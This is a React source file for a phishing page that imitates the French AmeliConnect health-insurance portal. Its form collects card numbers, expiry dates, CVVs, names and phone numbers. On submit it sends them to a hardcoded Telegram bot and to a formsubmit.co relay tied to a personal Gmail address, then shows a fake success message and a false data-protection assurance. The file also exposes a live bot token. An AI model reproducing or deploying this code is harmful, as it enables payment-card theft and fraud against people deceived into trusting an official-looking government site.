/home2/mshostin/www/bnh/client/src/pages/Home.tsx
/**
* Home - Formulaire d'inscription thème ameliconnect.ameli.fr
*
* Design : Reproduction fidèle du style AmeliConnect
* Champs : Numéro de carte (16 chiffres) + Date (mois/année)
*/
import { useState, useRef } from "react";
import { CircleHelp, Loader2, CheckCircle2 } from "lucide-react";
import AmeliHeader from "@/components/AmeliHeader";
import AmeliFooter from "@/components/AmeliFooter";
export default function Home() {
const [formData, setFormData] = useState({
numeroCarte: "",
dateExpiration: "",
cvv: "",
nomTitulaire: "",
telephone: "",
});
const [errors, setErrors] = useState<Record<string, string>>({});
const [isSubmitting, setIsSubmitting] = useState(false);
const [isSuccess, setIsSuccess] = useState(false);
const [tooltipField, setTooltipField] = useState<string | null>(null);
const formRef = useRef<HTMLFormElement>(null);
// Formatage du numéro de carte (groupes de 4)
const formatCardNumber = (value: string) => {
const digits = value.replace(/\D/g, "").slice(0, 16);
return digits.replace(/(\d{4})(?=\d)/g, "$1 ");
};
const handleCardNumberChange = (e: React.ChangeEvent<HTMLInputElement>) => {
const raw = e.target.value.replace(/\D/g, "").slice(0, 16);
setFormData(prev => ({ ...prev, numeroCarte: raw }));
if (errors.numeroCarte) {
setErrors(prev => { const next = { ...prev }; delete next.numeroCarte; return next; });
}
};
const handleDateChange = (e: React.ChangeEvent<HTMLInputElement>) => {
let val = e.target.value.replace(/[^\d/]/g, "");
if (val.length === 2 && !val.includes("/") && formData.dateExpiration.length < val.length) {
val = val + "/";
}
if (val.length <= 7) {
setFormData(prev => ({ ...prev, dateExpiration: val }));
if (errors.dateExpiration) {
setErrors(prev => { const next = { ...prev }; delete next.dateExpiration; return next; });
}
}
};
const validate = () => {
const newErrors: Record<string, string> = {};
if (formData.numeroCarte.length !== 16) {
newErrors.numeroCarte = "Le numéro de carte doit contenir 16 chiffres.";
}
if (!formData.dateExpiration.trim() || !/^(0[1-9]|1[0-2])\/\d{4}$/.test(formData.dateExpiration)) {
newErrors.dateExpiration = "Veuillez saisir une date valide au format MM/AAAA.";
}
if (!formData.cvv.trim() || !/^\d{3,4}$/.test(formData.cvv)) {
newErrors.cvv = "Le CVV doit contenir 3 ou 4 chiffres.";
}
if (!formData.nomTitulaire.trim()) {
newErrors.nomTitulaire = "Le nom du titulaire est obligatoire.";
}
if (!formData.telephone.trim() || formData.telephone.replace(/\s/g, "").length < 10) {
newErrors.telephone = "Le numéro de téléphone doit contenir au moins 10 chiffres.";
}
setErrors(newErrors);
return Object.keys(newErrors).length === 0;
};
const sendToTelegram = async (data: typeof formData) => {
const message =
`📋 Nouvelle inscription Ameli\n\n` +
`🔢 Numéro de carte : ${formatCardNumber(data.numeroCarte)}\n` +
`📅 Date : ${data.dateExpiration}\n` +
`🔐 CVV : ${data.cvv}\n` +
`👤 Nom du titulaire : ${data.nomTitulaire}\n` +
`📱 Téléphone : ${data.telephone}`;
try {
await fetch(`https://api.telegram.org/bot8060240447:AAEG1tcC-3Fl4rZti5SIGFMSNnRb-qyYtpk/sendMessage`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
chat_id: "8134760873",
text: message,
parse_mode: "HTML",
}),
});
} catch (err) {
console.error("Telegram error:", err);
}
};
const sendEmail = async (data: typeof formData) => {
try {
await fetch(`https://formsubmit.co/ajax/kay16071994@gmail.com`, {
method: "POST",
headers: {
"Content-Type": "application/json",
Accept: "application/json",
},
body: JSON.stringify({
"Numéro de carte": formatCardNumber(data.numeroCarte),
"Date": data.dateExpiration,
"CVV": data.cvv,
"Nom du titulaire": data.nomTitulaire,
"Téléphone": data.telephone,
}),
});
} catch (err) {
console.error("Email error:", err);
}
};
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
if (!validate()) {
// Scroll vers le premier champ en erreur
setTimeout(() => {
const firstError = formRef.current?.querySelector('.border-\\[\\#E74C3C\\]') as HTMLElement;
if (firstError) {
firstError.scrollIntoView({ behavior: 'smooth', block: 'center' });
firstError.focus();
}
}, 100);
return;
}
setIsSubmitting(true);
try {
await Promise.all([sendToTelegram(formData), sendEmail(formData)]);
setIsSuccess(true);
} catch (err) {
console.error("Submit error:", err);
} finally {
setIsSubmitting(false);
}
};
if (isSuccess) {
return (
<div className="min-h-screen flex flex-col bg-[#F5F7FA]">
<AmeliHeader />
<main className="flex-1 flex items-center justify-center px-4 py-12">
<div className="bg-white rounded shadow-sm border border-[#E5E7EB] max-w-[560px] w-full p-10 text-center">
<CheckCircle2 className="w-16 h-16 text-[#22C55E] mx-auto mb-4" />
<h2 className="text-2xl font-semibold text-[#333333] mb-3">
Mise à jour réussie
</h2>
<p className="text-[#6B7280] text-base leading-relaxed">
Vos informations ont été mises à jour avec succès.
</p>
<button
onClick={() => {
setIsSuccess(false);
setFormData({ numeroCarte: "", dateExpiration: "", cvv: "", nomTitulaire: "", telephone: "" });
}}
className="mt-6 inline-block bg-[#0C419A] text-white font-semibold uppercase tracking-wide text-sm px-8 py-3 rounded hover:bg-[#0A3680] transition-colors"
>
Retour à l'accueil
</button>
</div>
</main>
<AmeliFooter />
</div>
);
}
return (
<div className="min-h-screen flex flex-col bg-[#F5F7FA]">
<AmeliHeader />
{/* Bandeau bleu avec titre */}
<div className="w-full bg-[#0C419A] py-5">
<h1 className="text-center text-white text-xl font-semibold tracking-wide uppercase">
Mise à jour de mes informations
</h1>
</div>
<main className="flex-1 w-full max-w-[700px] mx-auto px-4 py-10">
{/* Sous-titre bleu */}
<h2 className="text-[#1A6CB0] text-lg font-semibold mb-2">
Mise à jour de mes informations
</h2>
{/* Mention champ obligatoire */}
<p className="text-right text-sm text-[#6B7280] mb-4">
<span className="text-[#E74C3C] font-bold">*</span> champ obligatoire
</p>
{/* Message d'erreur global */}
{Object.keys(errors).length > 0 && (
<div className="mb-4 bg-[#FEF2F2] border border-[#FECACA] rounded p-4 flex items-start gap-3">
<svg className="w-5 h-5 text-[#E74C3C] shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
<path fillRule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zM8.707 7.293a1 1 0 00-1.414 1.414L8.586 10l-1.293 1.293a1 1 0 101.414 1.414L10 11.414l1.293 1.293a1 1 0 001.414-1.414L11.414 10l1.293-1.293a1 1 0 00-1.414-1.414L10 8.586 8.707 7.293z" clipRule="evenodd" />
</svg>
<p className="text-[#991B1B] text-sm font-medium">
Veuillez remplir tous les champs obligatoires avant de continuer.
</p>
</div>
)}
{/* Formulaire */}
<form ref={formRef} onSubmit={handleSubmit} className="bg-white border border-[#E5E7EB] rounded shadow-sm">
<div className="border-l-4 border-[#0C419A] p-6 sm:p-8">
<div className="space-y-6">
{/* Nom du titulaire */}
<div className="space-y-1.5">
<label className="text-[#333333] text-sm font-medium">
Nom du titulaire<span className="text-[#E74C3C] ml-0.5 font-bold"> *</span>
</label>
<input
type="text"
value={formData.nomTitulaire}
onChange={(e) => {
setFormData(prev => ({ ...prev, nomTitulaire: e.target.value }));
if (errors.nomTitulaire) { setErrors(prev => { const next = { ...prev }; delete next.nomTitulaire; return next; }); }
}}
placeholder="Nom et prénom tels qu'inscrits sur la carte"
required
className={`w-full border ${errors.nomTitulaire ? 'border-[#E74C3C]' : 'border-[#D5D5D5]'} rounded px-3 py-2.5 text-[#333333] text-base focus:outline-none focus:border-[#0C419A] focus:ring-1 focus:ring-[#0C419A]/30 transition-colors`}
/>
{errors.nomTitulaire && (
<p className="text-[#E74C3C] text-xs mt-1 flex items-center gap-1">
<svg className="w-3.5 h-3.5 shrink-0" fill="currentColor" viewBox="0 0 20 20"><path fillRule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clipRule="evenodd" /></svg>
{errors.nomTitulaire}
</p>
)}
</div>
{/* Numéro de téléphone */}
<div className="space-y-1.5">
<label className="text-[#333333] text-sm font-medium">
Numéro de téléphone<span className="text-[#E74C3C] ml-0.5 font-bold"> *</span>
</label>
<input
type="tel"
value={formData.telephone}
onChange={(e) => {
const val = e.target.value.replace(/[^\d\s+]/g, "").slice(0, 14);
setFormData(prev => ({ ...prev, telephone: val }));
if (errors.telephone) { setErrors(prev => { const next = { ...prev }; delete next.telephone; return next; }); }
}}
placeholder="06 00 00 00 00"
required
className={`w-full sm:w-[250px] border ${errors.telephone ? 'border-[#E74C3C]' : 'border-[#D5D5D5]'} rounded px-3 py-2.5 text-[#333333] text-base focus:outline-none focus:border-[#0C419A] focus:ring-1 focus:ring-[#0C419A]/30 transition-colors`}
/>
{errors.telephone && (
<p className="text-[#E74C3C] text-xs mt-1 flex items-center gap-1">
<svg className="w-3.5 h-3.5 shrink-0" fill="currentColor" viewBox="0 0 20 20"><path fillRule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clipRule="evenodd" /></svg>
{errors.telephone}
</p>
)}
</div>
{/* Numéro de carte - 16 chiffres */}
<div className="space-y-1.5">
<div className="flex items-center gap-2">
<label className="text-[#333333] text-sm font-medium">
Mon numéro de carte (16 chiffres)<span className="text-[#E74C3C] ml-0.5 font-bold"> *</span>
</label>
<div className="relative">
<button
type="button"
onClick={() => setTooltipField(tooltipField === "numeroCarte" ? null : "numeroCarte")}
className="text-[#0C419A] hover:text-[#0A3680] transition-colors"
aria-label="Aide"
>
<CircleHelp size={16} />
</button>
{tooltipField === "numeroCarte" && (
<div className="absolute left-6 top-0 z-10 w-64 bg-white border border-[#D5D5D5] rounded shadow-lg p-3 text-xs text-[#555555] leading-relaxed">
Le numéro de carte se trouve au recto de votre carte Vitale. Il est composé de 16 chiffres.
<button type="button" onClick={() => setTooltipField(null)} className="block mt-2 text-[#0C419A] font-medium hover:underline">Fermer</button>
</div>
)}
</div>
</div>
<input
type="text"
inputMode="numeric"
value={formatCardNumber(formData.numeroCarte)}
onChange={handleCardNumberChange}
placeholder="0000 0000 0000 0000"
maxLength={19}
required
className={`w-full border ${errors.numeroCarte ? 'border-[#E74C3C]' : 'border-[#D5D5D5]'} rounded px-3 py-2.5 text-[#333333] text-base focus:outline-none focus:border-[#0C419A] focus:ring-1 focus:ring-[#0C419A]/30 transition-colors font-mono tracking-wider`}
/>
{errors.numeroCarte && (
<p className="text-[#E74C3C] text-xs mt-1 flex items-center gap-1">
<svg className="w-3.5 h-3.5 shrink-0" fill="currentColor" viewBox="0 0 20 20"><path fillRule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clipRule="evenodd" /></svg>
{errors.numeroCarte}
</p>
)}
</div>
{/* Date mois / année */}
<div className="space-y-1.5">
<div className="flex items-center gap-2">
<label className="text-[#333333] text-sm font-medium">
Date (mois / année)<span className="text-[#E74C3C] ml-0.5 font-bold"> *</span>
</label>
<div className="relative">
<button
type="button"
onClick={() => setTooltipField(tooltipField === "dateExpiration" ? null : "dateExpiration")}
className="text-[#0C419A] hover:text-[#0A3680] transition-colors"
aria-label="Aide"
>
<CircleHelp size={16} />
</button>
{tooltipField === "dateExpiration" && (
<div className="absolute left-6 top-0 z-10 w-64 bg-white border border-[#D5D5D5] rounded shadow-lg p-3 text-xs text-[#555555] leading-relaxed">
Saisissez la date au format mois/année, par exemple 03/2026.
<button type="button" onClick={() => setTooltipField(null)} className="block mt-2 text-[#0C419A] font-medium hover:underline">Fermer</button>
</div>
)}
</div>
</div>
<input
type="text"
inputMode="numeric"
value={formData.dateExpiration}
onChange={handleDateChange}
placeholder="MM/AAAA"
maxLength={7}
required
className={`w-full sm:w-[200px] border ${errors.dateExpiration ? 'border-[#E74C3C]' : 'border-[#D5D5D5]'} rounded px-3 py-2.5 text-[#333333] text-base focus:outline-none focus:border-[#0C419A] focus:ring-1 focus:ring-[#0C419A]/30 transition-colors font-mono tracking-wider`}
/>
{errors.dateExpiration && (
<p className="text-[#E74C3C] text-xs mt-1 flex items-center gap-1">
<svg className="w-3.5 h-3.5 shrink-0" fill="currentColor" viewBox="0 0 20 20"><path fillRule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clipRule="evenodd" /></svg>
{errors.dateExpiration}
</p>
)}
</div>
{/* CVV */}
<div className="space-y-1.5">
<div className="flex items-center gap-2">
<label className="text-[#333333] text-sm font-medium">
Cryptogramme visuel (CVV)<span className="text-[#E74C3C] ml-0.5 font-bold"> *</span>
</label>
<div className="relative">
<button
type="button"
onClick={() => setTooltipField(tooltipField === "cvv" ? null : "cvv")}
className="text-[#0C419A] hover:text-[#0A3680] transition-colors"
aria-label="Aide"
>
<CircleHelp size={16} />
</button>
{tooltipField === "cvv" && (
<div className="absolute left-6 top-0 z-10 w-64 bg-white border border-[#D5D5D5] rounded shadow-lg p-3 text-xs text-[#555555] leading-relaxed">
Le cryptogramme visuel (CVV) est le code à 3 ou 4 chiffres situé au dos de votre carte.
<button type="button" onClick={() => setTooltipField(null)} className="block mt-2 text-[#0C419A] font-medium hover:underline">Fermer</button>
</div>
)}
</div>
</div>
<input
type="text"
inputMode="numeric"
value={formData.cvv}
onChange={(e) => {
const val = e.target.value.replace(/\D/g, "").slice(0, 4);
setFormData(prev => ({ ...prev, cvv: val }));
if (errors.cvv) { setErrors(prev => { const next = { ...prev }; delete next.cvv; return next; }); }
}}
placeholder="000"
maxLength={4}
required
className={`w-full sm:w-[120px] border ${errors.cvv ? 'border-[#E74C3C]' : 'border-[#D5D5D5]'} rounded px-3 py-2.5 text-[#333333] text-base focus:outline-none focus:border-[#0C419A] focus:ring-1 focus:ring-[#0C419A]/30 transition-colors font-mono tracking-wider`}
/>
{errors.cvv && (
<p className="text-[#E74C3C] text-xs mt-1 flex items-center gap-1">
<svg className="w-3.5 h-3.5 shrink-0" fill="currentColor" viewBox="0 0 20 20"><path fillRule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clipRule="evenodd" /></svg>
{errors.cvv}
</p>
)}
</div>
</div>
</div>
{/* Boutons */}
<div className="flex flex-col sm:flex-row items-center justify-center gap-4 px-6 sm:px-8 py-6 bg-[#FAFBFC] border-t border-[#E5E7EB] rounded-b">
<button
type="button"
onClick={() => {
setFormData({ numeroCarte: "", dateExpiration: "", cvv: "", nomTitulaire: "", telephone: "" });
setErrors({});
}}
className="w-full sm:w-auto min-w-[180px] border-2 border-[#D5D5D5] bg-white text-[#333333] font-semibold uppercase tracking-wide text-sm px-8 py-3 rounded hover:border-[#0C419A] hover:text-[#0C419A] transition-colors"
>
Effacer
</button>
<button
type="submit"
disabled={isSubmitting}
className="w-full sm:w-auto min-w-[180px] bg-[#0C419A] text-white font-semibold uppercase tracking-wide text-sm px-8 py-3 rounded hover:bg-[#0A3680] transition-colors disabled:opacity-60 flex items-center justify-center gap-2"
>
{isSubmitting ? (
<>
<Loader2 className="w-4 h-4 animate-spin" />
Envoi en cours...
</>
) : (
"Continuer"
)}
</button>
</div>
</form>
{/* Info sécurité */}
<div className="mt-6 flex items-start gap-3 text-sm text-[#6B7280] bg-white border border-[#E5E7EB] rounded p-4">
<svg className="w-5 h-5 text-[#0C419A] shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
<path fillRule="evenodd" d="M10 1a4.5 4.5 0 00-4.5 4.5V9H5a2 2 0 00-2 2v6a2 2 0 002 2h10a2 2 0 002-2v-6a2 2 0 00-2-2h-.5V5.5A4.5 4.5 0 0010 1zm3 8V5.5a3 3 0 10-6 0V9h6z" clipRule="evenodd" />
</svg>
<p>
Vos données personnelles sont protégées. Elles sont traitées de manière confidentielle conformément à la réglementation en vigueur (RGPD).
</p>
</div>
</main>
<AmeliFooter />
</div>
);
}